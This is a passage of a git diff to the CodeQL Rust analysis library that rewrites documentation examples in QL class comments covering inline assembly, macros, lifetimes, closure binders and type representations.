456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 5b0663a6d234572fb3e467e276d019415caa95ef006438cc59b7af4e1783161e 0e27c8a8f0e323c0e4d6db01fca821bf07c0864d293cdf96fa891b10820c1e4b diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 02cde40e182..39daeb791fe 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -198,7 +198,8 @@ module MakeCfgNodes Input> { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -1939,8 +1940,14 @@ module MakeCfgNodes Input> { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll index a8f37c922b9..253dcdfc9fa 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll @@ -11,6 +11,7 @@ import codeql.rust.elements.AsmPiece * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/AsmConst.qll index fef34ac1c5b..7c98cbf04af 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmConst.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.Expr * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll index 775e7581f4f..5a5cf5f8202 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll @@ -7,12 +7,13 @@ private import internal.AsmDirSpecImpl import codeql.rust.elements.AstNode /** - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` */ final class AsmDirSpec = Impl::AsmDirSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll index aab266069ed..06cee086b3f 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll @@ -12,7 +12,8 @@ import codeql.rust.elements.Expr * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll index 2fce4ca27c2..aab137e837d 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll @@ -12,8 +12,12 @@ import codeql.rust.elements.BlockExpr * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` */ final class AsmLabel = Impl::AsmLabel; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll index a18b51590d4..e3672065adc 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.Expr * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll index 612b7139cee..cb54a585539 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll @@ -13,8 +13,9 @@ import codeql.rust.elements.Name * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` */ final class AsmOperandNamed = Impl::AsmOperandNamed; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/AsmOption.qll index 546cf793ba8..84f37b76d0c 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOption.qll @@ -11,6 +11,7 @@ import codeql.rust.elements.AstNode * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll index d79ca332c4a..dc82f9cb4af 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.AsmPiece * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll index 7a2bd55005f..2f1900821f1 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll @@ -14,6 +14,7 @@ import codeql.rust.elements.AsmRegSpec * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll index 33165c6c720..91f4d5888f6 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll @@ -12,8 +12,9 @@ import codeql.rust.elements.NameRef * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` */ final class AsmRegSpec = Impl::AsmRegSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/AsmSym.qll index 50bf9435f1e..359cd965c44 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmSym.qll @@ -12,6 +12,7 @@ import codeql.rust.elements.Path * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll index 7397e778656..fcf50431c26 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll @@ -19,8 +19,13 @@ import codeql.rust.elements.TypeRepr * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class AssocTypeArg = Impl::AssocTypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll index 38518459692..0bf9579b2f0 100644 --- a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll @@ -12,8 +12,13 @@ import codeql.rust.elements.GenericParamList * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ final class ClosureBinder = Impl::ClosureBinder; diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index e8097daf949..ab0129ed0e0 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -12,8 +12,13 @@ import codeql.rust.elements.TypeRepr * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class ForTypeRepr = Impl::ForTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll index 8eef36323f9..f3f3c98bed9 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll @@ -12,8 +12,8 @@ import codeql.rust.elements.Lifetime * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` */ final class LifetimeArg = Impl::LifetimeArg; diff --git a/rust/ql/lib/codeql/rust/elements/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/MacroDef.qll index 114daf294eb..9bd06c4d156 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroDef.qll @@ -11,14 +11,12 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/MacroPat.qll index db833d2a176..86516ba0e1b 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroPat.qll @@ -12,8 +12,14 @@ import codeql.rust.elements.Pat * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll index 854f0b2a3f9..a9122156b8c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll @@ -12,6 +12,9 @@ import codeql.rust.elements.TypeRepr * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/Meta.qll b/rust/ql/lib/codeql/rust/elements/Meta.qll index c1a65df5856..46fcafb43c2 100644 --- a/rust/ql/lib/codeql/rust/elements/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/Meta.qll @@ -14,8 +14,13 @@ import codeql.rust.elements.TokenTree * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ final class Meta = Impl::Meta; diff --git a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll index 6d6776e4eea..95ec6cc7ac8 100644 --- a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll @@ -10,8 +10,8 @@ import codeql.rust.elements.TypeRepr /** * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` */ final class PathTypeRepr = Impl::PathTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll index fd724507df1..aa8a49e0fa2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll index 84e7d02ebaa..2c66fc52a3f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll index 36c0877567f..d9c284eca28 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll @@ -13,12 +13,13 @@ private import codeql.rust.elements.internal.generated.AsmDirSpec */ module Impl { /** - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` */ class AsmDirSpec extends Generated::AsmDirSpec { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll index 24160ec3386..338f4772a53 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll @@ -16,7 +16,8 @@ module Impl { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll index 6990f1d7b6c..ee89b6cb27d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll @@ -17,8 +17,12 @@ module Impl { * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` */ class AsmLabel extends Generated::AsmLabel { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll index db309ada7d7..ee0db41767a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll index 5012d8578d5..dd45bcc05a9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll @@ -17,8 +17,9 @@ module Impl { * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` */ class AsmOperandNamed extends Generated::AsmOperandNamed { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll index c96a8cecd06..60d56d22581 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll index 25b029776d1..ca8e80f82ec 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll index 53a858edd39..d3d6b24c15a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll index 2ceb7318ca5..24798bae93c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll @@ -17,8 +17,9 @@ module Impl { * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` */ class AsmRegSpec extends Generated::AsmRegSpec { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll index 79ce8132ed0..ad118f38d1c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll @@ -17,6 +17,7 @@ module Impl { * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll index 8c88fad65a6..fab477d4c3f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends Generated::AssocTypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll index dc7bced9889..095a5a269e0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends Generated::ClosureBinder { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 4b985922052..79700085b94 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends Generated::ForTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll index 98bcb5cca21..db3bd53c893 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll @@ -17,8 +17,8 @@ module Impl { * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends Generated::LifetimeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll index da91b4256df..90cdfd533c6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll @@ -13,14 +13,12 @@ private import codeql.rust.elements.internal.generated.MacroDef */ module Impl { /** - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll index 26f0cd5c7b7..166b105ab95 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll @@ -17,8 +17,14 @@ module Impl { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll index de57e6a8226..87801fe5877 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll @@ -17,6 +17,9 @@ module Impl { * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll index dd6ad1891c0..bbac494ed3c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll @@ -17,8 +17,13 @@ module Impl { * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends Generated::Meta { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll index 599a2a753be..c607e73dd7b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll @@ -15,8 +15,8 @@ module Impl { /** * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` */ class PathTypeRepr extends Generated::PathTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll index 2971536accc..9a47d608112 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll @@ -18,6 +18,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll index be7539812bc..eb685ef2deb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll index 7a2f33a0a07..520e2d88ad6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll @@ -14,12 +14,13 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` * INTERNAL: Do not reference the `Generated::AsmDirSpec` class directly. * Use the subclass `AsmDirSpec`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll index ac8e4d2c723..83f756a4c98 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll @@ -20,7 +20,8 @@ module Generated { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` * INTERNAL: Do not reference the `Generated::AsmExpr` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll index d1b01f3c63c..7d5f750f098 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll @@ -19,8 +19,12 @@ module Generated { * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` * INTERNAL: Do not reference the `Generated::AsmLabel` class directly. * Use the subclass `AsmLabel`, where the following predicates are available. diff --git 